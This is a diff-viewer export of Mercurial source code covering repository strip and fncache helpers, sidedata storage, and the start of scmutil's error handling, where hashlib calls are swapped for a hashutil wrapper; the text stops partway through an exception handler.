355 # tostrip = wanted - unsafe = wanted - ancestors(orphaned)
354 # orphaned = affected - wanted
356 # orphaned = affected - wanted
355 # affected = descendants(roots(wanted))
357 # affected = descendants(roots(wanted))
356 # wanted = revs
358 # wanted = revs
357 revset = b'%ld - ( ::( (roots(%ld):: and not _phase(%s)) -%ld) )'
359 revset = b'%ld - ( ::( (roots(%ld):: and not _phase(%s)) -%ld) )'
358 tostrip = set(repo.revs(revset, revs, revs, phases.internal, revs))
360 tostrip = set(repo.revs(revset, revs, revs, phases.internal, revs))
359 notstrip = revs - tostrip
361 notstrip = revs - tostrip
360 if notstrip:
362 if notstrip:
361 nodestr = b', '.join(sorted(short(repo[n].node()) for n in notstrip))
363 nodestr = b', '.join(sorted(short(repo[n].node()) for n in notstrip))
362 ui.warn(
364 ui.warn(
363 _(b'warning: orphaned descendants detected, not stripping %s\n')
365 _(b'warning: orphaned descendants detected, not stripping %s\n')
364 % nodestr
366 % nodestr
365 )
367 )
366 return [c.node() for c in repo.set(b'roots(%ld)', tostrip)]
368 return [c.node() for c in repo.set(b'roots(%ld)', tostrip)]
367
369
368
370
369 class stripcallback(object):
371 class stripcallback(object):
370 """used as a transaction postclose callback"""
372 """used as a transaction postclose callback"""
371
373
372 def __init__(self, ui, repo, backup, topic):
374 def __init__(self, ui, repo, backup, topic):
373 self.ui = ui
375 self.ui = ui
374 self.repo = repo
376 self.repo = repo
375 self.backup = backup
377 self.backup = backup
376 self.topic = topic or b'backup'
378 self.topic = topic or b'backup'
377 self.nodelist = []
379 self.nodelist = []
378
380
379 def addnodes(self, nodes):
381 def addnodes(self, nodes):
380 self.nodelist.extend(nodes)
382 self.nodelist.extend(nodes)
381
383
382 def __call__(self, tr):
384 def __call__(self, tr):
383 roots = safestriproots(self.ui, self.repo, self.nodelist)
385 roots = safestriproots(self.ui, self.repo, self.nodelist)
384 if roots:
386 if roots:
385 strip(self.ui, self.repo, roots, self.backup, self.topic)
387 strip(self.ui, self.repo, roots, self.backup, self.topic)
386
388
387
389
388 def delayedstrip(ui, repo, nodelist, topic=None, backup=True):
390 def delayedstrip(ui, repo, nodelist, topic=None, backup=True):
389 """like strip, but works inside transaction and won't strip irreverent revs
391 """like strip, but works inside transaction and won't strip irreverent revs
390
392
391 nodelist must explicitly contain all descendants. Otherwise a warning will
393 nodelist must explicitly contain all descendants. Otherwise a warning will
392 be printed that some nodes are not stripped.
394 be printed that some nodes are not stripped.
393
395
394 Will do a backup if `backup` is True. The last non-None "topic" will be
396 Will do a backup if `backup` is True. The last non-None "topic" will be
395 used as the backup topic name. The default backup topic name is "backup".
397 used as the backup topic name. The default backup topic name is "backup".
396 """
398 """
397 tr = repo.currenttransaction()
399 tr = repo.currenttransaction()
398 if not tr:
400 if not tr:
399 nodes = safestriproots(ui, repo, nodelist)
401 nodes = safestriproots(ui, repo, nodelist)
400 return strip(ui, repo, nodes, backup=backup, topic=topic)
402 return strip(ui, repo, nodes, backup=backup, topic=topic)
401 # transaction postclose callbacks are called in alphabet order.
403 # transaction postclose callbacks are called in alphabet order.
402 # use '\xff' as prefix so we are likely to be called last.
404 # use '\xff' as prefix so we are likely to be called last.
403 callback = tr.getpostclose(b'\xffstrip')
405 callback = tr.getpostclose(b'\xffstrip')
404 if callback is None:
406 if callback is None:
405 callback = stripcallback(ui, repo, backup=backup, topic=topic)
407 callback = stripcallback(ui, repo, backup=backup, topic=topic)
406 tr.addpostclose(b'\xffstrip', callback)
408 tr.addpostclose(b'\xffstrip', callback)
407 if topic:
409 if topic:
408 callback.topic = topic
410 callback.topic = topic
409 callback.addnodes(nodelist)
411 callback.addnodes(nodelist)
410
412
411
413
412 def stripmanifest(repo, striprev, tr, files):
414 def stripmanifest(repo, striprev, tr, files):
413 for revlog in manifestrevlogs(repo):
415 for revlog in manifestrevlogs(repo):
414 revlog.strip(striprev, tr)
416 revlog.strip(striprev, tr)
415
417
416
418
417 def manifestrevlogs(repo):
419 def manifestrevlogs(repo):
418 yield repo.manifestlog.getstorage(b'')
420 yield repo.manifestlog.getstorage(b'')
419 if b'treemanifest' in repo.requirements:
421 if b'treemanifest' in repo.requirements:
420 # This logic is safe if treemanifest isn't enabled, but also
422 # This logic is safe if treemanifest isn't enabled, but also
421 # pointless, so we skip it if treemanifest isn't enabled.
423 # pointless, so we skip it if treemanifest isn't enabled.
422 for unencoded, encoded, size in repo.store.datafiles():
424 for unencoded, encoded, size in repo.store.datafiles():
423 if unencoded.startswith(b'meta/') and unencoded.endswith(
425 if unencoded.startswith(b'meta/') and unencoded.endswith(
424 b'00manifest.i'
426 b'00manifest.i'
425 ):
427 ):
426 dir = unencoded[5:-12]
428 dir = unencoded[5:-12]
427 yield repo.manifestlog.getstorage(dir)
429 yield repo.manifestlog.getstorage(dir)
428
430
429
431
430 def rebuildfncache(ui, repo):
432 def rebuildfncache(ui, repo):
431 """Rebuilds the fncache file from repo history.
433 """Rebuilds the fncache file from repo history.
432
434
433 Missing entries will be added. Extra entries will be removed.
435 Missing entries will be added. Extra entries will be removed.
434 """
436 """
435 repo = repo.unfiltered()
437 repo = repo.unfiltered()
436
438
437 if b'fncache' not in repo.requirements:
439 if b'fncache' not in repo.requirements:
438 ui.warn(
440 ui.warn(
439 _(
441 _(
440 b'(not rebuilding fncache because repository does not '
442 b'(not rebuilding fncache because repository does not '
441 b'support fncache)\n'
443 b'support fncache)\n'
442 )
444 )
443 )
445 )
444 return
446 return
445
447
446 with repo.lock():
448 with repo.lock():
447 fnc = repo.store.fncache
449 fnc = repo.store.fncache
448 fnc.ensureloaded(warn=ui.warn)
450 fnc.ensureloaded(warn=ui.warn)
449
451
450 oldentries = set(fnc.entries)
452 oldentries = set(fnc.entries)
451 newentries = set()
453 newentries = set()
452 seenfiles = set()
454 seenfiles = set()
453
455
454 progress = ui.makeprogress(
456 progress = ui.makeprogress(
455 _(b'rebuilding'), unit=_(b'changesets'), total=len(repo)
457 _(b'rebuilding'), unit=_(b'changesets'), total=len(repo)
456 )
458 )
457 for rev in repo:
459 for rev in repo:
458 progress.update(rev)
460 progress.update(rev)
459
461
460 ctx = repo[rev]
462 ctx = repo[rev]
461 for f in ctx.files():
463 for f in ctx.files():
462 # This is to minimize I/O.
464 # This is to minimize I/O.
463 if f in seenfiles:
465 if f in seenfiles:
464 continue
466 continue
465 seenfiles.add(f)
467 seenfiles.add(f)
466
468
467 i = b'data/%s.i' % f
469 i = b'data/%s.i' % f
468 d = b'data/%s.d' % f
470 d = b'data/%s.d' % f
469
471
470 if repo.store._exists(i):
472 if repo.store._exists(i):
471 newentries.add(i)
473 newentries.add(i)
472 if repo.store._exists(d):
474 if repo.store._exists(d):
473 newentries.add(d)
475 newentries.add(d)
474
476
475 progress.complete()
477 progress.complete()
476
478
477 if b'treemanifest' in repo.requirements:
479 if b'treemanifest' in repo.requirements:
478 # This logic is safe if treemanifest isn't enabled, but also
480 # This logic is safe if treemanifest isn't enabled, but also
479 # pointless, so we skip it if treemanifest isn't enabled.
481 # pointless, so we skip it if treemanifest isn't enabled.
480 for dir in pathutil.dirs(seenfiles):
482 for dir in pathutil.dirs(seenfiles):
481 i = b'meta/%s/00manifest.i' % dir
483 i = b'meta/%s/00manifest.i' % dir
482 d = b'meta/%s/00manifest.d' % dir
484 d = b'meta/%s/00manifest.d' % dir
483
485
484 if repo.store._exists(i):
486 if repo.store._exists(i):
485 newentries.add(i)
487 newentries.add(i)
486 if repo.store._exists(d):
488 if repo.store._exists(d):
487 newentries.add(d)
489 newentries.add(d)
488
490
489 addcount = len(newentries - oldentries)
491 addcount = len(newentries - oldentries)
490 removecount = len(oldentries - newentries)
492 removecount = len(oldentries - newentries)
491 for p in sorted(oldentries - newentries):
493 for p in sorted(oldentries - newentries):
492 ui.write(_(b'removing %s\n') % p)
494 ui.write(_(b'removing %s\n') % p)
493 for p in sorted(newentries - oldentries):
495 for p in sorted(newentries - oldentries):
494 ui.write(_(b'adding %s\n') % p)
496 ui.write(_(b'adding %s\n') % p)
495
497
496 if addcount or removecount:
498 if addcount or removecount:
497 ui.write(
499 ui.write(
498 _(b'%d items added, %d removed from fncache\n')
500 _(b'%d items added, %d removed from fncache\n')
499 % (addcount, removecount)
501 % (addcount, removecount)
500 )
502 )
501 fnc.entries = newentries
503 fnc.entries = newentries
502 fnc._dirty = True
504 fnc._dirty = True
503
505
504 with repo.transaction(b'fncache') as tr:
506 with repo.transaction(b'fncache') as tr:
505 fnc.write(tr)
507 fnc.write(tr)
506 else:
508 else:
507 ui.write(_(b'fncache already up to date\n'))
509 ui.write(_(b'fncache already up to date\n'))
508
510
509
511
510 def deleteobsmarkers(obsstore, indices):
512 def deleteobsmarkers(obsstore, indices):
511 """Delete some obsmarkers from obsstore and return how many were deleted
513 """Delete some obsmarkers from obsstore and return how many were deleted
512
514
513 'indices' is a list of ints which are the indices
515 'indices' is a list of ints which are the indices
514 of the markers to be deleted.
516 of the markers to be deleted.
515
517
516 Every invocation of this function completely rewrites the obsstore file,
518 Every invocation of this function completely rewrites the obsstore file,
517 skipping the markers we want to be removed. The new temporary file is
519 skipping the markers we want to be removed. The new temporary file is
518 created, remaining markers are written there and on .close() this file
520 created, remaining markers are written there and on .close() this file
519 gets atomically renamed to obsstore, thus guaranteeing consistency."""
521 gets atomically renamed to obsstore, thus guaranteeing consistency."""
520 if not indices:
522 if not indices:
521 # we don't want to rewrite the obsstore with the same content
523 # we don't want to rewrite the obsstore with the same content
522 return
524 return
523
525
524 left = []
526 left = []
525 current = obsstore._all
527 current = obsstore._all
526 n = 0
528 n = 0
527 for i, m in enumerate(current):
529 for i, m in enumerate(current):
528 if i in indices:
530 if i in indices:
529 n += 1
531 n += 1
530 continue
532 continue
531 left.append(m)
533 left.append(m)
532
534
533 newobsstorefile = obsstore.svfs(b'obsstore', b'w', atomictemp=True)
535 newobsstorefile = obsstore.svfs(b'obsstore', b'w', atomictemp=True)
534 for bytes in obsolete.encodemarkers(left, True, obsstore._version):
536 for bytes in obsolete.encodemarkers(left, True, obsstore._version):
535 newobsstorefile.write(bytes)
537 newobsstorefile.write(bytes)
536 newobsstorefile.close()
538 newobsstorefile.close()
537 return n
539 return n
@@ -1,106 +1,106
1 # sidedata.py - Logic around store extra data alongside revlog revisions
1 # sidedata.py - Logic around store extra data alongside revlog revisions
2 #
2 #
3 # Copyright 2019 Pierre-Yves David <pierre-yves.david@octobus.net)
3 # Copyright 2019 Pierre-Yves David <pierre-yves.david@octobus.net)
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 """core code for "sidedata" support
7 """core code for "sidedata" support
8
8
9 The "sidedata" are stored alongside the revision without actually being part of
9 The "sidedata" are stored alongside the revision without actually being part of
10 its content and not affecting its hash. It's main use cases is to cache
10 its content and not affecting its hash. It's main use cases is to cache
11 important information related to a changesets.
11 important information related to a changesets.
12
12
13 The current implementation is experimental and subject to changes. Do not rely
13 The current implementation is experimental and subject to changes. Do not rely
14 on it in production.
14 on it in production.
15
15
16 Sidedata are stored in the revlog itself, withing the revision rawtext. They
16 Sidedata are stored in the revlog itself, withing the revision rawtext. They
17 are inserted, removed from it using the flagprocessors mechanism. The following
17 are inserted, removed from it using the flagprocessors mechanism. The following
18 format is currently used::
18 format is currently used::
19
19
20 initial header:
20 initial header:
21 <number of sidedata; 2 bytes>
21 <number of sidedata; 2 bytes>
22 sidedata (repeated N times):
22 sidedata (repeated N times):
23 <sidedata-key; 2 bytes>
23 <sidedata-key; 2 bytes>
24 <sidedata-entry-length: 4 bytes>
24 <sidedata-entry-length: 4 bytes>
25 <sidedata-content-sha1-digest: 20 bytes>
25 <sidedata-content-sha1-digest: 20 bytes>
26 <sidedata-content; X bytes>
26 <sidedata-content; X bytes>
27 normal raw text:
27 normal raw text:
28 <all bytes remaining in the rawtext>
28 <all bytes remaining in the rawtext>
29
29
30 This is a simple and effective format. It should be enought to experiment with
30 This is a simple and effective format. It should be enought to experiment with
31 the concept.
31 the concept.
32 """
32 """
33
33
34 from __future__ import absolute_import
34 from __future__ import absolute_import
35
35
36 import hashlib
37 import struct
36 import struct
38
37
39 from .. import error
38 from .. import error
39 from ..utils import hashutil
40
40
41 ## sidedata type constant
41 ## sidedata type constant
42 # reserve a block for testing purposes.
42 # reserve a block for testing purposes.
43 SD_TEST1 = 1
43 SD_TEST1 = 1
44 SD_TEST2 = 2
44 SD_TEST2 = 2
45 SD_TEST3 = 3
45 SD_TEST3 = 3
46 SD_TEST4 = 4
46 SD_TEST4 = 4
47 SD_TEST5 = 5
47 SD_TEST5 = 5
48 SD_TEST6 = 6
48 SD_TEST6 = 6
49 SD_TEST7 = 7
49 SD_TEST7 = 7
50
50
51 # key to store copies related information
51 # key to store copies related information
52 SD_P1COPIES = 8
52 SD_P1COPIES = 8
53 SD_P2COPIES = 9
53 SD_P2COPIES = 9
54 SD_FILESADDED = 10
54 SD_FILESADDED = 10
55 SD_FILESREMOVED = 11
55 SD_FILESREMOVED = 11
56
56
57 # internal format constant
57 # internal format constant
58 SIDEDATA_HEADER = struct.Struct('>H')
58 SIDEDATA_HEADER = struct.Struct('>H')
59 SIDEDATA_ENTRY = struct.Struct('>HL20s')
59 SIDEDATA_ENTRY = struct.Struct('>HL20s')
60
60
61
61
62 def sidedatawriteprocessor(rl, text, sidedata):
62 def sidedatawriteprocessor(rl, text, sidedata):
63 sidedata = list(sidedata.items())
63 sidedata = list(sidedata.items())
64 sidedata.sort()
64 sidedata.sort()
65 rawtext = [SIDEDATA_HEADER.pack(len(sidedata))]
65 rawtext = [SIDEDATA_HEADER.pack(len(sidedata))]
66 for key, value in sidedata:
66 for key, value in sidedata:
67 digest = hashlib.sha1(value).digest()
67 digest = hashutil.sha1(value).digest()
68 rawtext.append(SIDEDATA_ENTRY.pack(key, len(value), digest))
68 rawtext.append(SIDEDATA_ENTRY.pack(key, len(value), digest))
69 for key, value in sidedata:
69 for key, value in sidedata:
70 rawtext.append(value)
70 rawtext.append(value)
71 rawtext.append(bytes(text))
71 rawtext.append(bytes(text))
72 return b''.join(rawtext), False
72 return b''.join(rawtext), False
73
73
74
74
75 def sidedatareadprocessor(rl, text):
75 def sidedatareadprocessor(rl, text):
76 sidedata = {}
76 sidedata = {}
77 offset = 0
77 offset = 0
78 (nbentry,) = SIDEDATA_HEADER.unpack(text[: SIDEDATA_HEADER.size])
78 (nbentry,) = SIDEDATA_HEADER.unpack(text[: SIDEDATA_HEADER.size])
79 offset += SIDEDATA_HEADER.size
79 offset += SIDEDATA_HEADER.size
80 dataoffset = SIDEDATA_HEADER.size + (SIDEDATA_ENTRY.size * nbentry)
80 dataoffset = SIDEDATA_HEADER.size + (SIDEDATA_ENTRY.size * nbentry)
81 for i in range(nbentry):
81 for i in range(nbentry):
82 nextoffset = offset + SIDEDATA_ENTRY.size
82 nextoffset = offset + SIDEDATA_ENTRY.size
83 key, size, storeddigest = SIDEDATA_ENTRY.unpack(text[offset:nextoffset])
83 key, size, storeddigest = SIDEDATA_ENTRY.unpack(text[offset:nextoffset])
84 offset = nextoffset
84 offset = nextoffset
85 # read the data associated with that entry
85 # read the data associated with that entry
86 nextdataoffset = dataoffset + size
86 nextdataoffset = dataoffset + size
87 entrytext = text[dataoffset:nextdataoffset]
87 entrytext = text[dataoffset:nextdataoffset]
88 readdigest = hashlib.sha1(entrytext).digest()
88 readdigest = hashutil.sha1(entrytext).digest()
89 if storeddigest != readdigest:
89 if storeddigest != readdigest:
90 raise error.SidedataHashError(key, storeddigest, readdigest)
90 raise error.SidedataHashError(key, storeddigest, readdigest)
91 sidedata[key] = entrytext
91 sidedata[key] = entrytext
92 dataoffset = nextdataoffset
92 dataoffset = nextdataoffset
93 text = text[dataoffset:]
93 text = text[dataoffset:]
94 return text, True, sidedata
94 return text, True, sidedata
95
95
96
96
97 def sidedatarawprocessor(rl, text):
97 def sidedatarawprocessor(rl, text):
98 # side data modifies rawtext and prevent rawtext hash validation
98 # side data modifies rawtext and prevent rawtext hash validation
99 return False
99 return False
100
100
101
101
102 processors = (
102 processors = (
103 sidedatareadprocessor,
103 sidedatareadprocessor,
104 sidedatawriteprocessor,
104 sidedatawriteprocessor,
105 sidedatarawprocessor,
105 sidedatarawprocessor,
106 )
106 )
@@ -1,2200 +1,2200
1 # scmutil.py - Mercurial core utility functions
1 # scmutil.py - Mercurial core utility functions
2 #
2 #
3 # Copyright Matt Mackall <mpm@selenic.com>
3 # Copyright Matt Mackall <mpm@selenic.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import errno
10 import errno
11 import glob
11 import glob
12 import hashlib
13 import os
12 import os
14 import posixpath
13 import posixpath
15 import re
14 import re
16 import subprocess
15 import subprocess
17 import weakref
16 import weakref
18
17
19 from .i18n import _
18 from .i18n import _
20 from .node import (
19 from .node import (
21 bin,
20 bin,
22 hex,
21 hex,
23 nullid,
22 nullid,
24 nullrev,
23 nullrev,
25 short,
24 short,
26 wdirid,
25 wdirid,
27 wdirrev,
26 wdirrev,
28 )
27 )
29 from .pycompat import getattr
28 from .pycompat import getattr
30 from .thirdparty import attr
29 from .thirdparty import attr
31 from . import (
30 from . import (
32 copies as copiesmod,
31 copies as copiesmod,
33 encoding,
32 encoding,
34 error,
33 error,
35 match as matchmod,
34 match as matchmod,
36 obsolete,
35 obsolete,
37 obsutil,
36 obsutil,
38 pathutil,
37 pathutil,
39 phases,
38 phases,
40 policy,
39 policy,
41 pycompat,
40 pycompat,
42 revsetlang,
41 revsetlang,
43 similar,
42 similar,
44 smartset,
43 smartset,
45 url,
44 url,
46 util,
45 util,
47 vfs,
46 vfs,
48 )
47 )
49
48
50 from .utils import (
49 from .utils import (
50 hashutil,
51 procutil,
51 procutil,
52 stringutil,
52 stringutil,
53 )
53 )
54
54
55 if pycompat.iswindows:
55 if pycompat.iswindows:
56 from . import scmwindows as scmplatform
56 from . import scmwindows as scmplatform
57 else:
57 else:
58 from . import scmposix as scmplatform
58 from . import scmposix as scmplatform
59
59
60 parsers = policy.importmod('parsers')
60 parsers = policy.importmod('parsers')
61 rustrevlog = policy.importrust('revlog')
61 rustrevlog = policy.importrust('revlog')
62
62
63 termsize = scmplatform.termsize
63 termsize = scmplatform.termsize
64
64
65
65
66 @attr.s(slots=True, repr=False)
66 @attr.s(slots=True, repr=False)
67 class status(object):
67 class status(object):
68 '''Struct with a list of files per status.
68 '''Struct with a list of files per status.
69
69
70 The 'deleted', 'unknown' and 'ignored' properties are only
70 The 'deleted', 'unknown' and 'ignored' properties are only
71 relevant to the working copy.
71 relevant to the working copy.
72 '''
72 '''
73
73
74 modified = attr.ib(default=attr.Factory(list))
74 modified = attr.ib(default=attr.Factory(list))
75 added = attr.ib(default=attr.Factory(list))
75 added = attr.ib(default=attr.Factory(list))
76 removed = attr.ib(default=attr.Factory(list))
76 removed = attr.ib(default=attr.Factory(list))
77 deleted = attr.ib(default=attr.Factory(list))
77 deleted = attr.ib(default=attr.Factory(list))
78 unknown = attr.ib(default=attr.Factory(list))
78 unknown = attr.ib(default=attr.Factory(list))
79 ignored = attr.ib(default=attr.Factory(list))
79 ignored = attr.ib(default=attr.Factory(list))
80 clean = attr.ib(default=attr.Factory(list))
80 clean = attr.ib(default=attr.Factory(list))
81
81
82 def __iter__(self):
82 def __iter__(self):
83 yield self.modified
83 yield self.modified
84 yield self.added
84 yield self.added
85 yield self.removed
85 yield self.removed
86 yield self.deleted
86 yield self.deleted
87 yield self.unknown
87 yield self.unknown
88 yield self.ignored
88 yield self.ignored
89 yield self.clean
89 yield self.clean
90
90
91 def __repr__(self):
91 def __repr__(self):
92 return (
92 return (
93 r'<status modified=%s, added=%s, removed=%s, deleted=%s, '
93 r'<status modified=%s, added=%s, removed=%s, deleted=%s, '
94 r'unknown=%s, ignored=%s, clean=%s>'
94 r'unknown=%s, ignored=%s, clean=%s>'
95 ) % tuple(pycompat.sysstr(stringutil.pprint(v)) for v in self)
95 ) % tuple(pycompat.sysstr(stringutil.pprint(v)) for v in self)
96
96
97
97
98 def itersubrepos(ctx1, ctx2):
98 def itersubrepos(ctx1, ctx2):
99 """find subrepos in ctx1 or ctx2"""
99 """find subrepos in ctx1 or ctx2"""
100 # Create a (subpath, ctx) mapping where we prefer subpaths from
100 # Create a (subpath, ctx) mapping where we prefer subpaths from
101 # ctx1. The subpaths from ctx2 are important when the .hgsub file
101 # ctx1. The subpaths from ctx2 are important when the .hgsub file
102 # has been modified (in ctx2) but not yet committed (in ctx1).
102 # has been modified (in ctx2) but not yet committed (in ctx1).
103 subpaths = dict.fromkeys(ctx2.substate, ctx2)
103 subpaths = dict.fromkeys(ctx2.substate, ctx2)
104 subpaths.update(dict.fromkeys(ctx1.substate, ctx1))
104 subpaths.update(dict.fromkeys(ctx1.substate, ctx1))
105
105
106 missing = set()
106 missing = set()
107
107
108 for subpath in ctx2.substate:
108 for subpath in ctx2.substate:
109 if subpath not in ctx1.substate:
109 if subpath not in ctx1.substate:
110 del subpaths[subpath]
110 del subpaths[subpath]
111 missing.add(subpath)
111 missing.add(subpath)
112
112
113 for subpath, ctx in sorted(pycompat.iteritems(subpaths)):
113 for subpath, ctx in sorted(pycompat.iteritems(subpaths)):
114 yield subpath, ctx.sub(subpath)
114 yield subpath, ctx.sub(subpath)
115
115
116 # Yield an empty subrepo based on ctx1 for anything only in ctx2. That way,
116 # Yield an empty subrepo based on ctx1 for anything only in ctx2. That way,
117 # status and diff will have an accurate result when it does
117 # status and diff will have an accurate result when it does
118 # 'sub.{status|diff}(rev2)'. Otherwise, the ctx2 subrepo is compared
118 # 'sub.{status|diff}(rev2)'. Otherwise, the ctx2 subrepo is compared
119 # against itself.
119 # against itself.
120 for subpath in missing:
120 for subpath in missing:
121 yield subpath, ctx2.nullsub(subpath, ctx1)
121 yield subpath, ctx2.nullsub(subpath, ctx1)
122
122
123
123
124 def nochangesfound(ui, repo, excluded=None):
124 def nochangesfound(ui, repo, excluded=None):
125 '''Report no changes for push/pull, excluded is None or a list of
125 '''Report no changes for push/pull, excluded is None or a list of
126 nodes excluded from the push/pull.
126 nodes excluded from the push/pull.
127 '''
127 '''
128 secretlist = []
128 secretlist = []
129 if excluded:
129 if excluded:
130 for n in excluded:
130 for n in excluded:
131 ctx = repo[n]
131 ctx = repo[n]
132 if ctx.phase() >= phases.secret and not ctx.extinct():
132 if ctx.phase() >= phases.secret and not ctx.extinct():
133 secretlist.append(n)
133 secretlist.append(n)
134
134
135 if secretlist:
135 if secretlist:
136 ui.status(
136 ui.status(
137 _(b"no changes found (ignored %d secret changesets)\n")
137 _(b"no changes found (ignored %d secret changesets)\n")
138 % len(secretlist)
138 % len(secretlist)
139 )
139 )
140 else:
140 else:
141 ui.status(_(b"no changes found\n"))
141 ui.status(_(b"no changes found\n"))
142
142
143
143
144 def callcatch(ui, func):
144 def callcatch(ui, func):
145 """call func() with global exception handling
145 """call func() with global exception handling
146
146
147 return func() if no exception happens. otherwise do some error handling
147 return func() if no exception happens. otherwise do some error handling
148 and return an exit code accordingly. does not handle all exceptions.
148 and return an exit code accordingly. does not handle all exceptions.
149 """
149 """
150 try:
150 try:
151 try:
151 try:
152 return func()
152 return func()
153 except: # re-raises
153 except: # re-raises
154 ui.traceback()
154 ui.traceback()
155 raise
155 raise
156 # Global exception handling, alphabetically
156 # Global exception handling, alphabetically
157 # Mercurial-specific first, followed by built-in and library exceptions
157 # Mercurial-specific first, followed by built-in and library exceptions
158 except error.LockHeld as inst:
158 except error.LockHeld as inst:
159 if inst.errno == errno.ETIMEDOUT:
159 if inst.errno == errno.ETIMEDOUT:
160 reason = _(b'timed out waiting for lock held by %r') % (
160 reason = _(b'timed out waiting for lock held by %r') % (
161 pycompat.bytestr(inst.locker)
161 pycompat.bytestr(inst.locker)
162 )
162 )
163 else:
163 else:
164 reason = _(b'lock held by %r') % inst.locker
164 reason = _(b'lock held by %r') % inst.locker
165 ui.error(
165 ui.error(
166 _(b"abort: %s: %s\n")
166 _(b"abort: %s: %s\n")
167 % (inst.desc or stringutil.forcebytestr(inst.filename), reason)
167 % (inst.desc or stringutil.forcebytestr(inst.filename), reason)
168 )
168 )
169 if not inst.locker:
169 if not inst.locker:
170 ui.error(_(b"(lock might be very busy)\n"))
170 ui.error(_(b"(lock might be very busy)\n"))
171 except error.LockUnavailable as inst:
171 except error.LockUnavailable as inst:
172 ui.error(
172 ui.error(
173 _(b"abort: could not lock %s: %s\n")
173 _(b"abort: could not lock %s: %s\n")
174 % (
174 % (
175 inst.desc or stringutil.forcebytestr(inst.filename),
175 inst.desc or stringutil.forcebytestr(inst.filename),
176 encoding.strtolocal(inst.strerror),
176 encoding.strtolocal(inst.strerror),
177 )
177 )
178 )
178 )
179 except error.OutOfBandError as inst:
179 except error.OutOfBandError as inst:
180 if inst.args:
180 if inst.args:
181 msg = _(b"abort: remote error:\n")
181 msg = _(b"abort: remote error:\n")
182 else:
182 else:
183 msg = _(b"abort: remote error\n")
183 msg = _(b"abort: remote error\n")
184 ui.error(msg)
184 ui.error(msg)
185 if inst.args:
185 if inst.args:
186 ui.error(b''.join(inst.args))
186 ui.error(b''.join(inst.args))
187 if inst.hint:
187 if inst.hint:
188 ui.error(b'(%s)\n' % inst.hint)
188 ui.error(b'(%s)\n' % inst.hint)
189 except error.RepoError as inst:
189 except error.RepoError as inst:
190 ui.error(_(b"abort: %s!\n") % inst)
190 ui.error(_(b"abort: %s!\n") % inst)
191 if inst.hint:
191 if inst.hint:
192 ui.error(_(b"(%s)\n") % inst.hint)
192 ui.error(_(b"(%s)\n") % inst.hint)
193 except error.ResponseError as inst:
193 except error.ResponseError as inst:
194 ui.error(_(b"abort: %s") % inst.args[0])
194 ui.error(_(b"abort: %s") % inst.args[0])
195 msg = inst.args[1]
195 msg = inst.args[1]
196 if isinstance(msg, type(u'')):
196 if isinstance(msg, type(u'')):
197 msg = pycompat.sysbytes(msg)
197 msg = pycompat.sysbytes(msg)
198 if not isinstance(msg, bytes):
198 if not isinstance(msg, bytes):
199 ui.error(b" %r\n" % (msg,))
199 ui.error(b" %r\n" % (msg,))
200 elif not msg:
200 elif not msg:
201 ui.error(_(b" empty string\n"))
201 ui.error(_(b" empty string\n"))
202 else:
202 else:
203 ui.error(b"\n%r\n" % pycompat.bytestr(stringutil.ellipsis(msg)))
203 ui.error(b"\n%r\n" % pycompat.bytestr(stringutil.ellipsis(msg)))
204 except error.CensoredNodeError as inst:
204 except error.CensoredNodeError as inst:
205 ui.error(_(b"abort: file censored %s!\n") % inst)
205 ui.error(_(b"abort: file censored %s!\n") % inst)
206 except error.StorageError as inst:
206 except error.StorageError as inst:
207 ui.error(_(b"abort: %s!\n") % inst)
207 ui.error(_(b"abort: %s!\n") % inst)
208 if inst.hint:
208 if inst.hint:
209 ui.error(_(b"(%s)\n") % inst.hint)
209 ui.error(_(b"(%s)\n") % inst.hint)
210 except error.InterventionRequired as inst:
210 except error.InterventionRequired as inst:
211 ui.error(b"%s\n" % inst)
211 ui.error(b"%s\n" % inst)
212 if inst.hint:
212 if inst.hint:
213 ui.error(_(b"(%s)\n") % inst.hint)
213 ui.error(_(b"(%s)\n") % inst.hint)
214 return 1
214 return 1
215 except error.WdirUnsupported:
215 except error.WdirUnsupported:
216 ui.error(_(b"abort: working directory revision cannot be specified\n"))
216 ui.error(_(b"abort: working directory revision cannot be specified\n"))
217 except error.Abort as inst:
217 except error.Abort as inst:
218 ui.error(_(b"abort: %s\n") % inst)
218 ui.error(_(b"abort: %s\n") % inst)
219 if inst.hint:
219 if inst.hint:
220 ui.error(_(b"(%s)\n") % inst.hint)
220 ui.error(_(b"(%s)\n") % inst.hint)
221 except ImportError as inst:
221 except ImportError as inst:
222 ui.error(_(b"abort: %s!\n") % stringutil.forcebytestr(inst))
222 ui.error(_(b"abort: %s!\n") % stringutil.forcebytestr(inst))
223 m = stringutil.forcebytestr(inst).split()[-1]
223 m = stringutil.forcebytestr(inst).split()[-1]
224 if m in b"mpatch bdiff".split():
224 if m in b"mpatch bdiff".split():
225 ui.error(_(b"(did you forget to compile extensions?)\n"))
225 ui.error(_(b"(did you forget to compile extensions?)\n"))
226 elif m in b"zlib".split():
226 elif m in b"zlib".split():
227 ui.error(_(b"(is your Python install correct?)\n"))
227 ui.error(_(b"(is your Python install correct?)\n"))
228 except (IOError, OSError) as inst:
228 except (IOError, OSError) as inst:
229 if util.safehasattr(inst, b"code"): # HTTPError
229 if util.safehasattr(inst, b"code"): # HTTPError
230 ui.error(_(b"abort: %s\n") % stringutil.forcebytestr(inst))
230 ui.error(_(b"abort: %s\n") % stringutil.forcebytestr(inst))
231 elif util.safehasattr(inst, b"reason"): # URLError or SSLError
231 elif util.safehasattr(inst, b"reason"): # URLError or SSLError
232 try: # usually it is in the form (errno, strerror)
232 try: # usually it is in the form (errno, strerror)
233 reason = inst.reason.args[1]
233 reason = inst.reason.args[1]
234 except (AttributeError, IndexError):
234 except (AttributeError, IndexError):
235 # it might be anything, for example a string
235 # it might be anything, for example a string
236 reason = inst.reason
236 reason = inst.reason
237 if isinstance(reason, pycompat.unicode):
237 if isinstance(reason, pycompat.unicode):
238 # SSLError of Python 2.7.9 contains a unicode
238 # SSLError of Python 2.7.9 contains a unicode
239 reason = encoding.unitolocal(reason)
239 reason = encoding.unitolocal(reason)
240 ui.error(_(b"abort: error: %s\n") % stringutil.forcebytestr(reason))
240 ui.error(_(b"abort: error: %s\n") % stringutil.forcebytestr(reason))
241 elif (
241 elif (
